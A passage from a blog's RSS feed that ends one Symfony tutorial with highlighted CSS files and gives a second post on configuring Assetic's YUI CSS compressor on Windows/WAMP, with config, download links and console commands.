html body <span style="color: #00AA00;">*</span> span.<span style="color: #000000; font-weight: bold;">clear</span><span style="color: #00AA00;">,</span>html body <span style="color: #00AA00;">*</span> div.<span style="color: #000000; font-weight: bold;">clear</span><span style="color: #00AA00;">,</span>html body <span style="color: #00AA00;">*</span> li.<span style="color: #000000; font-weight: bold;">clear</span><span style="color: #00AA00;">,</span>html body <span style="color: #00AA00;">*</span> dd.<span style="color: #000000; font-weight: bold;">clear</span><span style="color: #00AA00;">&#123;</span><span style="color: #000000; font-weight: bold;">background</span><span style="color: #00AA00;">:</span><span style="color: #993333;">none</span><span style="color: #00AA00;">;</span>border<span style="color: #00AA00;">:</span><span style="color: #cc66cc;">0</span><span style="color: #00AA00;">;</span>clear<span style="color: #00AA00;">:</span><span style="color: #993333;">both</span><span style="color: #00AA00;">;</span>display<span style="color: #00AA00;">:</span><span style="color: #993333;">block</span><span style="color: #00AA00;">;</span>float<span style="color: #00AA00;">:</span><span style="color: #993333;">none</span><span style="color: #00AA00;">;</span>font-<span style="color: #000000; font-weight: bold;">size</span><span style="color: #00AA00;">:</span><span style="color: #cc66cc;">0</span><span style="color: #00AA00;">;</span>list-style<span style="color: #00AA00;">:</span><span style="color: #993333;">none</span><span style="color: #00AA00;">;</span>margin<span style="color: #00AA00;">:</span><span style="color: #cc66cc;">0</span><span style="color: #00AA00;">;</span>padding<span style="color: #00AA00;">:</span><span style="color: #cc66cc;">0</span><span style="color: #00AA00;">;</span>overflow<span style="color: #00AA00;">:</span><span style="color: #993333;">hidden</span><span style="color: #00AA00;">;</span>visibility<span style="color: #00AA00;">:</span><span style="color: #993333;">hidden</span><span style="color: #00AA00;">;</span>width<span style="color: #00AA00;">:</span><span style="color: #cc66cc;">0</span><span style="color: #00AA00;">;</span>height<span style="color: #00AA00;">:</span><span style="color: #cc66cc;">0</span><span style="color: #00AA00;">&#125;</span>
&nbsp;
.<span style="color: #000000; font-weight: bold;">margin-left</span> <span style="color: #00AA00;">&#123;</span><span style="color: #000000; font-weight: bold;">margin-left</span><span style="color: #00AA00;">:</span><span style="color: #933;">20px</span><span style="color: #00AA00;">;</span><span style="color: #00AA00;">&#125;</span>
.<span style="color: #000000; font-weight: bold;">margin-right</span> <span style="color: #00AA00;">&#123;</span><span style="color: #000000; font-weight: bold;">margin-right</span><span style="color: #00AA00;">:</span><span style="color: #933;">20px</span><span style="color: #00AA00;">;</span><span style="color: #00AA00;">&#125;</span>
.<span style="color: #000000; font-weight: bold;">margin-top</span> <span style="color: #00AA00;">&#123;</span><span style="color: #000000; font-weight: bold;">margin-top</span><span style="color: #00AA00;">:</span><span style="color: #933;">20px</span><span style="color: #00AA00;">;</span><span style="color: #00AA00;">&#125;</span>
.<span style="color: #000000; font-weight: bold;">margin-bottom</span> <span style="color: #00AA00;">&#123;</span><span style="color: #000000; font-weight: bold;">margin-bottom</span><span style="color: #00AA00;">:</span><span style="color: #933;">20px</span><span style="color: #00AA00;">;</span><span style="color: #00AA00;">&#125;</span>
<span style="color: #6666ff;">.margin-left-half</span> <span style="color: #00AA00;">&#123;</span><span style="color: #000000; font-weight: bold;">margin-left</span><span style="color: #00AA00;">:</span><span style="color: #933;">10px</span><span style="color: #00AA00;">;</span><span style="color: #00AA00;">&#125;</span>
<span style="color: #6666ff;">.margin-right-half</span> <span style="color: #00AA00;">&#123;</span><span style="color: #000000; font-weight: bold;">margin-right</span><span style="color: #00AA00;">:</span><span style="color: #933;">10px</span><span style="color: #00AA00;">;</span><span style="color: #00AA00;">&#125;</span>
<span style="color: #6666ff;">.margin-top-half</span> <span style="color: #00AA00;">&#123;</span><span style="color: #000000; font-weight: bold;">margin-top</span><span style="color: #00AA00;">:</span><span style="color: #933;">10px</span><span style="color: #00AA00;">;</span><span style="color: #00AA00;">&#125;</span>
<span style="color: #6666ff;">.margin-bottom-half</span> <span style="color: #00AA00;">&#123;</span><span style="color: #000000; font-weight: bold;">margin-bottom</span><span style="color: #00AA00;">:</span><span style="color: #933;">10px</span><span style="color: #00AA00;">;</span><span style="color: #00AA00;">&#125;</span>
.margin-bottom-<span style="color: #993333;">none</span> <span style="color: #00AA00;">&#123;</span><span style="color: #000000; font-weight: bold;">margin-bottom</span><span style="color: #00AA00;">:</span><span style="color: #cc66cc;">0</span><span style="color: #00AA00;">;</span><span style="color: #00AA00;">&#125;</span>
&nbsp;
img<span style="color: #6666ff;">.centered</span> <span style="color: #00AA00;">&#123;</span><span style="color: #000000; font-weight: bold;">display</span><span style="color: #00AA00;">:</span><span style="color: #993333;">block</span><span style="color: #00AA00;">;</span>margin-<span style="color: #000000; font-weight: bold;">left</span><span style="color: #00AA00;">:</span><span style="color: #993333;">auto</span><span style="color: #00AA00;">;</span>margin-<span style="color: #000000; font-weight: bold;">right</span><span style="color: #00AA00;">:</span><span style="color: #993333;">auto</span><span style="color: #00AA00;">;</span><span style="color: #00AA00;">&#125;</span>
img<span style="color: #6666ff;">.alignright</span> <span style="color: #00AA00;">&#123;</span><span style="color: #000000; font-weight: bold;">display</span><span style="color: #00AA00;">:</span> <span style="color: #993333;">inline</span><span style="color: #00AA00;">;</span><span style="color: #00AA00;">&#125;</span>
img<span style="color: #6666ff;">.alignleft</span> <span style="color: #00AA00;">&#123;</span><span style="color: #000000; font-weight: bold;">display</span><span style="color: #00AA00;">:</span> <span style="color: #993333;">inline</span><span style="color: #00AA00;">;</span><span style="color: #00AA00;">&#125;</span>
<span style="color: #6666ff;">.alignright</span> <span style="color: #00AA00;">&#123;</span><span style="color: #000000; font-weight: bold;">float</span><span style="color: #00AA00;">:</span><span style="color: #000000; font-weight: bold;">right</span><span style="color: #00AA00;">;</span><span style="color: #00AA00;">&#125;</span>
<span style="color: #6666ff;">.alignleft</span> <span style="color: #00AA00;">&#123;</span><span style="color: #000000; font-weight: bold;">float</span><span style="color: #00AA00;">:</span><span style="color: #000000; font-weight: bold;">left</span><span style="color: #00AA00;">;</span><span style="color: #00AA00;">&#125;</span>
&nbsp;
.<span style="color: #993333;">bold</span> <span style="color: #00AA00;">&#123;</span><span style="color: #000000; font-weight: bold;">font-weight</span><span style="color: #00AA00;">:</span><span style="color: #993333;">bold</span><span style="color: #00AA00;">;</span><span style="color: #00AA00;">&#125;</span>
.<span style="color: #993333;">italic</span> <span style="color: #00AA00;">&#123;</span><span style="color: #000000; font-weight: bold;">font-style</span><span style="color: #00AA00;">:</span><span style="color: #993333;">italic</span><span style="color: #00AA00;">;</span><span style="color: #00AA00;">&#125;</span>
.text-<span style="color: #000000; font-weight: bold;">left</span> <span style="color: #00AA00;">&#123;</span><span style="color: #000000; font-weight: bold;">text-align</span><span style="color: #00AA00;">:</span><span style="color: #000000; font-weight: bold;">left</span><span style="color: #00AA00;">;</span><span style="color: #00AA00;">&#125;</span>
.text-<span style="color: #000000; font-weight: bold;">right</span> <span style="color: #00AA00;">&#123;</span><span style="color: #000000; font-weight: bold;">text-align</span><span style="color: #00AA00;">:</span><span style="color: #000000; font-weight: bold;">right</span><span style="color: #00AA00;">;</span><span style="color: #00AA00;">&#125;</span>
.<span style="color: #993333;">uppercase</span> <span style="color: #00AA00;">&#123;</span><span style="color: #000000; font-weight: bold;">text-transform</span><span style="color: #00AA00;">:</span><span style="color: #993333;">uppercase</span><span style="color: #00AA00;">;</span><span style="color: #00AA00;">&#125;</span>
.text-<span style="color: #993333;">justify</span><span style="color: #00AA00;">&#123;</span><span style="color: #000000; font-weight: bold;">text-align</span><span style="color: #00AA00;">:</span><span style="color: #993333;">justify</span><span style="color: #00AA00;">;</span><span style="color: #00AA00;">&#125;</span>
&nbsp;
<span style="color: #808080; font-style: italic;">/*=================MAIN END==============*/</span>
&nbsp;
<span style="color: #808080; font-style: italic;">/* BREADCRUMBS! */</span>
<span style="color: #cc00cc;">#breadcrumbs</span> <span style="color: #00AA00;">&#123;</span><span style="color: #000000; font-weight: bold;">margin-left</span><span style="color: #00AA00;">:</span><span style="color: #933;">160px</span><span style="color: #00AA00;">;</span><span style="color: #00AA00;">&#125;</span>
<span style="color: #cc00cc;">#breadcrumbs</span> ul li<span style="color: #00AA00;">&#123;</span><span style="color: #000000; font-weight: bold;">display</span><span style="color: #00AA00;">:</span> <span style="color: #993333;">inline</span><span style="color: #00AA00;">;</span> <span style="color: #00AA00;">&#125;</span>
<span style="color: #cc00cc;">#breadcrumbs</span> ul li<span style="color: #3333ff;">:before</span><span style="color: #00AA00;">&#123;</span> <span style="color: #000000; font-weight: bold;">content</span><span style="color: #00AA00;">:</span><span style="color: #ff0000;">&quot;<span style="color: #000099; font-weight: bold;">\0</span>0BB <span style="color: #000099; font-weight: bold;">\0</span>020&quot;</span><span style="color: #00AA00;">;</span><span style="color: #00AA00;">&#125;</span>
&nbsp;
<span style="color: #808080; font-style: italic;">/*=================HEADER START==============*/</span> 
&nbsp;
<span style="color: #cc00cc;">#header</span> <span style="color: #00AA00;">&#123;</span><span style="color: #000000; font-weight: bold;">width</span><span style="color: #00AA00;">:</span><span style="color: #933;">960px</span><span style="color: #00AA00;">;</span>float<span style="color: #00AA00;">:</span><span style="color: #000000; font-weight: bold;">left</span><span style="color: #00AA00;">;</span> <span style="color: #000000; font-weight: bold;">min-height</span><span style="color: #00AA00;">:</span> <span style="color: #933;">80px</span><span style="color: #00AA00;">;</span><span style="color: #00AA00;">&#125;</span>
&nbsp;
<span style="color: #808080; font-style: italic;">/*=================HEADER END==============*/</span>
&nbsp;
<span style="color: #808080; font-style: italic;">/*=================CONTENT START==============*/</span>
&nbsp;
<span style="color: #cc00cc;">#content</span> <span style="color: #00AA00;">&#123;</span><span style="color: #000000; font-weight: bold;">width</span><span style="color: #00AA00;">:</span><span style="color: #933;">960px</span><span style="color: #00AA00;">;</span>float<span style="color: #00AA00;">:</span><span style="color: #000000; font-weight: bold;">left</span><span style="color: #00AA00;">;</span> <span style="color: #000000; font-weight: bold;">padding-top</span><span style="color: #00AA00;">:</span><span style="color: #933;">10px</span><span style="color: #00AA00;">;</span> <span style="color: #000000; font-weight: bold;">padding-bottom</span><span style="color: #00AA00;">:</span> <span style="color: #933;">10px</span><span style="color: #00AA00;">;</span><span style="color: #00AA00;">&#125;</span>
&nbsp;
<span style="color: #808080; font-style: italic;">/*======LEFT COLUMN START======*/</span>
&nbsp;
<span style="color: #cc00cc;">#left-column</span> <span style="color: #00AA00;">&#123;</span><span style="color: #000000; font-weight: bold;">width</span><span style="color: #00AA00;">:</span><span style="color: #933;">160px</span><span style="color: #00AA00;">;</span>float<span style="color: #00AA00;">:</span><span style="color: #000000; font-weight: bold;">left</span><span style="color: #00AA00;">;</span><span style="color: #00AA00;">&#125;</span>
&nbsp;
<span style="color: #cc00cc;">#menu-sub</span> <span style="color: #00AA00;">&#123;</span><span style="color: #000000; font-weight: bold;">float</span><span style="color: #00AA00;">:</span><span style="color: #000000; font-weight: bold;">left</span><span style="color: #00AA00;">;</span><span style="color: #00AA00;">&#125;</span>
<span style="color: #cc00cc;">#menu-sub</span> ul <span style="color: #00AA00;">&#123;</span><span style="color: #000000; font-weight: bold;">list-style</span><span style="color: #00AA00;">:</span><span style="color: #993333;">none</span><span style="color: #00AA00;">;</span><span style="color: #00AA00;">&#125;</span> 
<span style="color: #cc00cc;">#menu-sub</span> ul li <span style="color: #00AA00;">&#123;</span><span style="color: #000000; font-weight: bold;">font-size</span><span style="color: #00AA00;">:</span><span style="color: #933;">16px</span><span style="color: #00AA00;">;</span><span style="color: #00AA00;">&#125;</span>
&nbsp;
<span style="color: #808080; font-style: italic;">/*======LEFT COLUMN END======*/</span>
&nbsp;
<span style="color: #808080; font-style: italic;">/*======MAIN COLUMN START======*/</span>
&nbsp;
<span style="color: #cc00cc;">#main-column</span> <span style="color: #00AA00;">&#123;</span><span style="color: #000000; font-weight: bold;">width</span><span style="color: #00AA00;">:</span><span style="color: #933;">630px</span><span style="color: #00AA00;">;</span>float<span style="color: #00AA00;">:</span><span style="color: #000000; font-weight: bold;">left</span><span style="color: #00AA00;">;</span>padding-<span style="color: #000000; font-weight: bold;">right</span><span style="color: #00AA00;">:</span><span style="color: #933;">10px</span><span style="color: #00AA00;">;</span><span style="color: #00AA00;">&#125;</span>
&nbsp;
<span style="color: #808080; font-style: italic;">/*======MAIN COLUMN END======*/</span>
&nbsp;
&nbsp;
<span style="color: #808080; font-style: italic;">/*======RIGHT COLUMN START======*/</span>
&nbsp;
<span style="color: #cc00cc;">#right-column</span> <span style="color: #00AA00;">&#123;</span><span style="color: #000000; font-weight: bold;">width</span><span style="color: #00AA00;">:</span><span style="color: #933;">140px</span><span style="color: #00AA00;">;</span>float<span style="color: #00AA00;">:</span><span style="color: #000000; font-weight: bold;">left</span><span style="color: #00AA00;">;</span>padding-<span style="color: #000000; font-weight: bold;">left</span><span style="color: #00AA00;">:</span><span style="color: #933;">10px</span><span style="color: #00AA00;">;</span> <span style="color: #000000; font-weight: bold;">padding-right</span><span style="color: #00AA00;">:</span><span style="color: #933;">10px</span><span style="color: #00AA00;">;</span><span style="color: #00AA00;">&#125;</span>
&nbsp;
<span style="color: #808080; font-style: italic;">/*======RIGHT COLUMN END======*/</span>
&nbsp;
<span style="color: #808080; font-style: italic;">/*=================CONTENT END==============*/</span>
&nbsp;
<span style="color: #808080; font-style: italic;">/*=================FOOTER START==============*/</span>
&nbsp;
<span style="color: #cc00cc;">#footer</span> <span style="color: #00AA00;">&#123;</span><span style="color: #000000; font-weight: bold;">width</span><span style="color: #00AA00;">:</span><span style="color: #933;">960px</span><span style="color: #00AA00;">;</span>float<span style="color: #00AA00;">:</span><span style="color: #000000; font-weight: bold;">left</span><span style="color: #00AA00;">;</span>text-align<span style="color: #00AA00;">:</span><span style="color: #993333;">center</span><span style="color: #00AA00;">;</span>color<span style="color: #00AA00;">:</span><span style="color: #cc00cc;">#666</span><span style="color: #00AA00;">;</span> <span style="color: #000000; font-weight: bold;">min-height</span><span style="color: #00AA00;">:</span><span style="color: #933;">30px</span><span style="color: #00AA00;">;</span> <span style="color: #000000; font-weight: bold;">padding</span><span style="color: #00AA00;">:</span> <span style="color: #933;">15px</span><span style="color: #00AA00;">;</span><span style="color: #00AA00;">&#125;</span>
&nbsp;
<span style="color: #808080; font-style: italic;">/*=================FOOTER END==============*/</span></pre></div></div>

<p>And last one, <code>colors.css</code> (compressed):</p>

<div class="wp_syntax"><div class="code"><pre class="css" style="font-family:monospace;">a<span style="color: #00AA00;">&#123;</span><span style="color: #000000; font-weight: bold;">color</span><span style="color: #00AA00;">:</span><span style="color: #cc00cc;">#A90641</span><span style="color: #00AA00;">&#125;</span>a<span style="color: #3333ff;">:hover</span><span style="color: #00AA00;">&#123;</span><span style="color: #000000; font-weight: bold;">color</span><span style="color: #00AA00;">:</span><span style="color: #cc00cc;">#A90641</span><span style="color: #00AA00;">&#125;</span>a<span style="color: #3333ff;">:visited</span><span style="color: #00AA00;">&#123;</span><span style="color: #000000; font-weight: bold;">color</span><span style="color: #00AA00;">:</span><span style="color: #cc00cc;">#A90641</span><span style="color: #00AA00;">&#125;</span>a<span style="color: #3333ff;">:active</span><span style="color: #00AA00;">&#123;</span><span style="color: #000000; font-weight: bold;">color</span><span style="color: #00AA00;">:</span><span style="color: #cc00cc;">#A90641</span><span style="color: #00AA00;">&#125;</span> body<span style="color: #00AA00;">&#123;</span> <span style="color: #000000; font-weight: bold;">background</span><span style="color: #00AA00;">:</span><span style="color: #cc00cc;">#464646</span><span style="color: #00AA00;">;</span> <span style="color: #000000; font-weight: bold;">color</span><span style="color: #00AA00;">:</span><span style="color: #cc00cc;">#333</span><span style="color: #00AA00;">;</span><span style="color: #00AA00;">&#125;</span> <span style="color: #cc00cc;">#content</span><span style="color: #00AA00;">&#123;</span> <span style="color: #000000; font-weight: bold;">color</span><span style="color: #00AA00;">:</span><span style="color: #cc00cc;">#EEE</span><span style="color: #00AA00;">;</span> <span style="color: #000000; font-weight: bold;">font-size</span><span style="color: #00AA00;">:</span> <span style="color: #933;">0.8em</span><span style="color: #00AA00;">;</span>background-<span style="color: #000000; font-weight: bold;">color</span><span style="color: #00AA00;">:</span> <span style="color: #cc00cc;">#343333</span><span style="color: #00AA00;">;</span><span style="color: #00AA00;">&#125;</span> <span style="color: #cc00cc;">#header</span><span style="color: #00AA00;">&#123;</span><span style="color: #000000; font-weight: bold;">color</span><span style="color: #00AA00;">:</span><span style="color: #cc00cc;">#FCFAD0</span><span style="color: #00AA00;">;</span>border-<span style="color: #000000; font-weight: bold;">bottom</span><span style="color: #00AA00;">:</span><span style="color: #993333;">thick</span> <span style="color: #993333;">double</span> <span style="color: #cc00cc;">#A90641</span><span style="color: #00AA00;">;</span>background<span style="color: #00AA00;">:</span><span style="color: #cc00cc;">#111</span><span style="color: #00AA00;">;</span><span style="color: #00AA00;">&#125;</span><span style="color: #cc00cc;">#footer</span><span style="color: #00AA00;">&#123;</span><span style="color: #000000; font-weight: bold;">font-size</span><span style="color: #00AA00;">:</span><span style="color: #933;">0.7em</span><span style="color: #00AA00;">;</span>border-<span style="color: #000000; font-weight: bold;">top</span><span style="color: #00AA00;">:</span><span style="color: #993333;">thick</span> <span style="color: #993333;">double</span> <span style="color: #cc00cc;">#A90641</span><span style="color: #00AA00;">;</span>background<span style="color: #00AA00;">:</span> <span style="color: #cc00cc;">#111</span><span style="color: #00AA00;">;</span>color<span style="color: #00AA00;">:</span><span style="color: #cc00cc;">#5B605F</span><span style="color: #00AA00;">;</span>font-weight<span style="color: #00AA00;">:</span><span style="color: #993333;">bold</span><span style="color: #00AA00;">;</span><span style="color: #00AA00;">&#125;</span><span style="color: #cc00cc;">#menu-sub</span> a<span style="color: #00AA00;">&#123;</span><span style="color: #000000; font-weight: bold;">font-size</span><span style="color: #00AA00;">:</span><span style="color: #933;">0.8em</span><span style="color: #00AA00;">;</span> <span style="color: #000000; font-weight: bold;">color</span><span style="color: #00AA00;">:</span><span style="color: #cc00cc;">#A90641</span><span style="color: #00AA00;">;</span><span style="color: #00AA00;">&#125;</span><span style="color: #cc00cc;">#menu-sub</span> <span style="color: #00AA00;">&#123;</span><span style="color: #000000; font-weight: bold;">padding-left</span><span style="color: #00AA00;">:</span><span style="color: #933;">5px</span><span style="color: #00AA00;">;</span><span style="color: #00AA00;">&#125;</span><span style="color: #cc00cc;">#menu-sub</span> a<span style="color: #3333ff;">:hover</span><span style="color: #00AA00;">&#123;</span><span style="color: #000000; font-weight: bold;">font-size</span><span style="color: #00AA00;">:</span><span style="color: #933;">0.8em</span><span style="color: #00AA00;">;</span> <span style="color: #000000; font-weight: bold;">color</span><span style="color: #00AA00;">:</span><span style="color: #cc00cc;">#CB2863</span><span style="color: #00AA00;">;</span><span style="color: #00AA00;">&#125;</span><span style="color: #cc00cc;">#menu-sub</span> a<span style="color: #3333ff;">:visited</span><span style="color: #00AA00;">&#123;</span><span style="color: #000000; font-weight: bold;">font-size</span><span style="color: #00AA00;">:</span><span style="color: #933;">0.8em</span><span style="color: #00AA00;">;</span> <span style="color: #000000; font-weight: bold;">color</span><span style="color: #00AA00;">:</span><span style="color: #cc00cc;">#A90641</span><span style="color: #00AA00;">;</span><span style="color: #00AA00;">&#125;</span><span style="color: #cc00cc;">#titulo-centro</span><span style="color: #00AA00;">&#123;</span><span style="color: #000000; font-weight: bold;">margin</span><span style="color: #00AA00;">:</span><span style="color: #993333;">auto</span><span style="color: #00AA00;">;</span> <span style="color: #000000; font-weight: bold;">width</span><span style="color: #00AA00;">:</span> <span style="color: #933;">920px</span><span style="color: #00AA00;">;</span>padding<span style="color: #00AA00;">:</span><span style="color: #933;">20px</span><span style="color: #00AA00;">;</span>text-align<span style="color: #00AA00;">:</span><span style="color: #993333;">center</span><span style="color: #00AA00;">;</span><span style="color: #00AA00;">&#125;</span><span style="color: #cc00cc;">#breadcrumbs</span> a<span style="color: #00AA00;">&#123;</span><span style="color: #000000; font-weight: bold;">color</span><span style="color: #00AA00;">:</span><span style="color: #cc00cc;">#A90641</span><span style="color: #00AA00;">&#125;</span><span style="color: #6666ff;">.actual</span> a<span style="color: #00AA00;">&#123;</span><span style="color: #000000; font-weight: bold;">font-weight</span><span style="color: #00AA00;">:</span><span style="color: #993333;">bold</span><span style="color: #00AA00;">;</span><span style="color: #00AA00;">&#125;</span></pre></div></div>

<p>And&#8230; that&#8217;s all, folks.</p>
<p>Please comment if you notice any bugs <img src='http://www.leccionespracticas.com/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> </p>
<p>Update:<br />
Spanish readers might find this links interesting:</p>
<p>A bit outdated, but quite interesting, <a href="http://gitnacho.github.com/symfony-docs-es/book/forms.html">basic form tutorial</a> and another, more advanced one, about <a href="http://nacho-martin.com/dentro-de-form-bind-de-symfony">understanding symfony form binding</a>. <a href="http://www.symfony-project.org/forms/1_1/es/02-Form-Validation">This one also ispired me</a></p>
<p>Related posts:<ol>
<li><a href='http://www.leccionespracticas.com/informatica-web/symfony-yui-css-compression-with-assetic-on-windows-wamp-systems-solved/' rel='bookmark' title='Symfony: Yui CSS compression with Assetic on Windows (WAMP) systems [SOLVED]'>Symfony: Yui CSS compression with Assetic on Windows (WAMP) systems [SOLVED]</a></li>
<li><a href='http://www.leccionespracticas.com/informatica-web/symfony-informatica-web/curso-de-symfony-completo-con-ejercicios-resueltos-gratis/' rel='bookmark' title='Curso de Symfony completo con ejercicios resueltos gratis'>Curso de Symfony completo con ejercicios resueltos gratis</a></li>
<li><a href='http://www.leccionespracticas.com/informatica-web/solved-symfony-assets-an-exception-has-been-thrown-during-the-rendering-of-a-template-route-_assetic_xxx-does-not-exist/' rel='bookmark' title='[SOLVED] Symfony Assets: &#8220;An exception has been thrown during the rendering of a template (&#8220;Route &#8220;_assetic_XXX&#8221; does not exist.&#8221;)'>[SOLVED] Symfony Assets: &#8220;An exception has been thrown during the rendering of a template (&#8220;Route &#8220;_assetic_XXX&#8221; does not exist.&#8221;)</a></li>
</ol></p>]]></content:encoded>
			<wfw:commentRss>http://www.leccionespracticas.com/informatica-web/symfony-create-and-update-an-entity-using-doctrine-full-example/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>Symfony: Yui CSS compression with Assetic on Windows (WAMP) systems [SOLVED]</title>
		<link>http://www.leccionespracticas.com/informatica-web/symfony-yui-css-compression-with-assetic-on-windows-wamp-systems-solved/</link>
		<comments>http://www.leccionespracticas.com/informatica-web/symfony-yui-css-compression-with-assetic-on-windows-wamp-systems-solved/#comments</comments>
		<pubDate>Wed, 11 Apr 2012 18:24:57 +0000</pubDate>
		<dc:creator>Miguel</dc:creator>
				<category><![CDATA[Informática - web]]></category>
		<category><![CDATA[Symfony]]></category>
		<category><![CDATA[assetic]]></category>
		<category><![CDATA[path]]></category>
		<category><![CDATA[processbuilder]]></category>
		<category><![CDATA[symfony]]></category>
		<category><![CDATA[symfony2]]></category>
		<category><![CDATA[wamp]]></category>
		<category><![CDATA[windows]]></category>

		<guid isPermaLink="false">http://www.leccionespracticas.com/?p=2014</guid>
		<description><![CDATA[When I read about Symfony&#8217;s Assetic&#8217;s filters I felt quite excited and decided to try yui_css filter. When it comes to linux, everything worked just fine out of the box with the last Symfony release. But when I tried it in my Windows machine, it kept complaining ([exception] 500 &#124; Internal Server Error &#124; RuntimeException [...]
Related posts:<ol>
<li><a href='http://www.leccionespracticas.com/informatica-web/solved-symfony-assets-an-exception-has-been-thrown-during-the-rendering-of-a-template-route-_assetic_xxx-does-not-exist/' rel='bookmark' title='[SOLVED] Symfony Assets: &#8220;An exception has been thrown during the rendering of a template (&#8220;Route &#8220;_assetic_XXX&#8221; does not exist.&#8221;)'>[SOLVED] Symfony Assets: &#8220;An exception has been thrown during the rendering of a template (&#8220;Route &#8220;_assetic_XXX&#8221; does not exist.&#8221;)</a></li>
<li><a href='http://www.leccionespracticas.com/informatica-web/symfony-informatica-web/symfony-disable-the-web-debug-toolbar-in-prod-environment/' rel='bookmark' title='Symfony: disable the web debug toolbar in PROD environment [SOLVED]'>Symfony: disable the web debug toolbar in PROD environment [SOLVED]</a></li>
<li><a href='http://www.leccionespracticas.com/informatica-web/symfony-como-instalar-un-bundle/' rel='bookmark' title='Symfony: cómo instalar un Bundle (FOSJsRoutingBundle)'>Symfony: cómo instalar un Bundle (FOSJsRoutingBundle)</a></li>
</ol>]]></description>
			<content:encoded><![CDATA[<p>When I read about Symfony&#8217;s Assetic&#8217;s filters I felt quite excited and decided to try yui_css filter. When it comes to linux, everything worked just fine out of the box with the last Symfony release. But when I tried it in my Windows machine, it kept complaining (<code>[exception] 500 | Internal Server Error | RuntimeException | blah-blah</code>) and it has not an easy task to make yui work.</p>
<p>Just in case anyone can use this, here are the steps I followed to fix it:</p>
<p>0. Install <a href="http://www.oracle.com/technetwork/java/javase/downloads/jre-6u32-downloads-1594646.html">JAVA JRE</a> (in <code>c:\Program Files (x86)\Java\jre6\</code>), set the classpath and so on&#8230;</p>
<p>1. Prepare your templates for the use of <code>filter='yui_css'</code>. For instance (notice line 6):</p>

<div class="wp_syntax"><table><tr><td class="line_numbers"><pre>1
2
3
4
5
6
7
8
9
</pre></td><td class="code"><pre class="html" style="font-family:monospace;">{% stylesheets
	'@cursoe5Bundle/Resources/public/css/layout/mainStyle.css'
	'@cursoe5Bundle/Resources/public/css/layout/reset.css'
	'@cursoe5Bundle/Resources/public/css/layout/colors.css'
			output = 'css/compiled/styles.css'
			filter = 'yui_css'
%}
&lt;link href=&quot;{{ asset_url }}&quot; type=&quot;text/css&quot; rel=&quot;stylesheet&quot; media=&quot;screen&quot; /&gt;
{% endstylesheets %}</pre></td></tr></table></div>

<p>2. Edit <code>www-wamp-dir\Symmfony\config\config.yml</code> and set the java path and the <em>yui_css</em> path. Here is my Assetic Configuration in <code>config.yml</code> (edit lines 5 and 11!)</p>

<div class="wp_syntax"><table><tr><td class="line_numbers"><pre>1
2
3
4
5
6
7
8
9
10
11
</pre></td><td class="code"><pre class="bash" style="font-family:monospace;"><span style="color: #666666; font-style: italic;"># Assetic Configuration (www-wamp-dir\Symmfony\config\config.yml)</span>
assetic:
    debug:          <span style="color: #000000; font-weight: bold;">%</span>kernel.debug<span style="color: #000000; font-weight: bold;">%</span>
    use_controller: <span style="color: #c20cb9; font-weight: bold;">false</span>
    java: c:\\Program Files <span style="color: #7a0874; font-weight: bold;">&#40;</span>x86<span style="color: #7a0874; font-weight: bold;">&#41;</span>\\Java\\jre6\\bin\\java.exe
    filters:
        cssrewrite: ~
        yui_css: 
            jar: <span style="color: #000000; font-weight: bold;">%</span>kernel.root_dir<span style="color: #000000; font-weight: bold;">%</span>\Resources\java\yuicompressor-2.4.7.jar
        <span style="color: #666666; font-style: italic;"># closure:</span>
        <span style="color: #666666; font-style: italic;">#     jar: %kernel.root_dir%/java/compiler.jar</span></pre></td></tr></table></div>

<p>3. <a href="http://yui.zenfs.com/releases/yuicompressor/yuicompressor-2.4.7.zip">Download the last <strong>yui compressor</strong> jar (<code>yuicompressor-2.4.7</code>)</a> and extract its contents.<br />
Move the jar (usually located in the &#8216;build&#8217; folder) to the Symfony <code>%kernel.root_dir%/Resources/java/yuicompressor-2.4.7.jar</code> (<code>%kernel.root_dir%</code> is the one called &#8216;app&#8217;, which contains <code>cache, config, logs</code>, &#8230; folders. You should mkdir <code>Resources </code>and <code>java </code>folders inside).</p>
<p>3. If you get errors like &#8220;<code>Runtime exception ...</code>&#8221; (as <a href="http://stackoverflow.com/questions/6554014/assetic-yui-compressor-in-symfony-2-is-this-a-bug">this guy does</a>) download the last Assetic stable release from <a href="https://github.com/kriswallsmith/assetic">assetic github</a> and extract its contents.<br />
Rename the extracted folder -originally called something like &#8216;<code>kriswallsmith-assetic-b25d1fd</code>&#8216;)- to &#8216;<em>assetic</em>&#8216; and move it to <code>wamp-www-dir\Symfony\vendor\</code> (will replace the old version! make sure you backup the old stuff before doing this!)</p>
<p>4. Assetic relies on Process Module. Previous version of Assetic had the code of Process module directly copied into Assetic (and had some bugs, like <a href="http://stackoverflow.com/questions/8195114/symfony2-assetics-yui-compressor-on-windows-path-syntax">the PHP_WINDOWS_VERSION_MAJOR issue</a>), but the last one just relies on the Symfony&#8217;s Process Module. [I recommend <a href="https://github.com/KnpLabs/symfony-with-composer">using Composer</a> to make your life easier]</p>
<p>If you test your site and the CSS is broken, it is likely to be because of this. Check for something like &#8220;<code>Fatal error: Class 'Symfony\Component\Process\ProcessBuilder' not found in src/Assetic/Filter</code>&#8220;.<br />
This means you have not installed ProcessBuilder, so <a href="https://github.com/symfony/Process/zipball/master">download the last Process Module</a>, which includes ProcessBuilder.<br />
Extract the folder (originally called something like &#8216;<code>symfony-Process-2e4da8c</code>&#8216;), rename it to &#8216;<code>Process</code>&#8216; and move it to <code>wamp-www-dir\Synfony\vendor\symfony\src\Symfony\Component</code> (will replace the old version! make sure you backup the old stuff before doing this!)</p>
<p>5. If you followed the steps, everything should be working by now. If you find some annoying messages like something was not found, or command not valid, or so, please make sure you have your cache cleared and your assets dumped:</p>

<div class="wp_syntax"><div class="code"><pre class="bash" style="font-family:monospace;">php app<span style="color: #000000; font-weight: bold;">/</span>console <span style="color: #660033;">--env</span>=dev cache:<span style="color: #c20cb9; font-weight: bold;">clear</span>
php app<span style="color: #000000; font-weight: bold;">/</span>console <span style="color: #660033;">--env</span>=dev cache:<span style="color: #c20cb9; font-weight: bold;">clear</span> <span style="color: #660033;">--no-debug</span>
php app<span style="color: #000000; font-weight: bold;">/</span>console <span style="color: #660033;">--env</span>=dev assets:<span style="color: #c20cb9; font-weight: bold;">install</span> web <span style="color: #660033;">--no-debug</span>
php app<span style="color: #000000; font-weight: bold;">/</span>console <span style="color: #660033;">--env</span>=dev assetic:dump <span style="color: #660033;">--no-debug</span></pre></div></div>

